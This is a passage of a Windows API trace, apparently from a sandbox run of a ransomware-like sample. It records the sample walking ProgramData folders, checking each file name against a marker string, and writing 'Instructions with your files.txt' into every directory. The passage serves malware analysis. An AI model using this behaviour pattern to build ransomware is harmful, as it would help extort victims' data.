[0118.717] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\..") returned 42
[0118.717] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1
[0118.717] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client") returned 46
[0118.717] GetProcessHeap () returned 0x810000
[0118.717] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0118.717] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\*") returned 48
[0118.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0118.717] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\.") returned 48
[0118.717] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0118.717] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\..") returned 49
[0118.717] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1
[0118.717] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0") returned 50
[0118.717] GetProcessHeap () returned 0x810000
[0118.717] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0118.717] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*") returned 52
[0118.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0118.718] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\.") returned 52
[0118.718] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0118.718] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\..") returned 53
[0118.718] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0118.718] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned 56
[0118.718] GetProcessHeap () returned 0x810000
[0118.718] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89ac08
[0118.718] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*") returned 58
[0118.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0119.941] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\.") returned 58
[0119.941] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.941] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\..") returned 59
[0119.941] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="HELP_C~1.H1D")) returned 1
[0119.941] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D") returned 76
[0119.941] StrStrIW (lpFirst="Help_CValidator.H1D", lpSrch="SDfghjkl") returned 0x0
[0119.941] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae2660aa, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae2660aa, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x365fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_AssetId.H1W", cAlternateFileName="HELP_M~1.H1W")) returned 1
[0119.942] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W") returned 78
[0119.942] StrStrIW (lpFirst="Help_MKWD_AssetId.H1W", lpSrch="SDfghjkl") returned 0x0
[0119.942] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae409b6f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x325ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_BestBet.H1W", cAlternateFileName="HELP_M~2.H1W")) returned 1
[0119.942] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W") returned 78
[0119.942] StrStrIW (lpFirst="Help_MKWD_BestBet.H1W", lpSrch="SDfghjkl") returned 0x0
[0119.942] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x79f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MTOC_help.H1H", cAlternateFileName="HELP_M~1.H1H")) returned 1
[0119.942] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H") returned 75
[0119.942] StrStrIW (lpFirst="Help_MTOC_help.H1H", lpSrch="SDfghjkl") returned 0x0
[0119.942] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26353250, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x3944, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.H1D", cAlternateFileName="HELP_M~1.H1D")) returned 1
[0119.942] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D") returned 76
[0119.942] StrStrIW (lpFirst="Help_MValidator.H1D", lpSrch="SDfghjkl") returned 0x0
[0119.942] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.Lck", cAlternateFileName="HELP_M~1.LCK")) returned 1
[0119.942] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck") returned 76
[0119.942] StrStrIW (lpFirst="Help_MValidator.Lck", lpSrch="SDfghjkl") returned 0x0
[0119.942] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 1
[0119.942] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 103
[0119.942] StrStrIW (lpFirst="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpSrch="SDfghjkl") returned 0x0
[0119.942] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 0
[0119.942] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Instructions with your files.txt") returned 89
[0119.942] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0119.943] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0119.944] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0119.944] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0119.944] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0119.944] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0119.944] CloseHandle (hObject=0x118) returned 1
[0119.944] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0119.944] GetProcessHeap () returned 0x810000
[0119.944] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89ac08 | out: hHeap=0x810000) returned 1
[0119.944] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
[0119.944] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\Instructions with your files.txt") returned 83
[0119.944] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0119.957] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0119.958] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0119.958] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0119.958] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0119.958] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0119.959] CloseHandle (hObject=0x114) returned 1
[0119.959] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0119.959] GetProcessHeap () returned 0x810000
[0119.959] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0119.959] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0
[0119.959] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\Instructions with your files.txt") returned 79
[0119.959] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0119.959] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0119.960] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0119.960] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0119.960] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0119.960] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0119.960] CloseHandle (hObject=0x110) returned 1
[0119.960] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0119.960] GetProcessHeap () returned 0x810000
[0119.960] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0119.961] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 0
[0119.961] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Instructions with your files.txt") returned 72
[0119.961] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\assistance\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0119.961] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0119.962] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0119.962] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0119.962] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0119.962] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0119.962] CloseHandle (hObject=0x10c) returned 1
[0119.962] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0119.962] GetProcessHeap () returned 0x810000
[0119.962] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0119.962] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
[0119.962] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto") returned 35
[0119.962] GetProcessHeap () returned 0x810000
[0119.962] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0119.962] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\*") returned 37
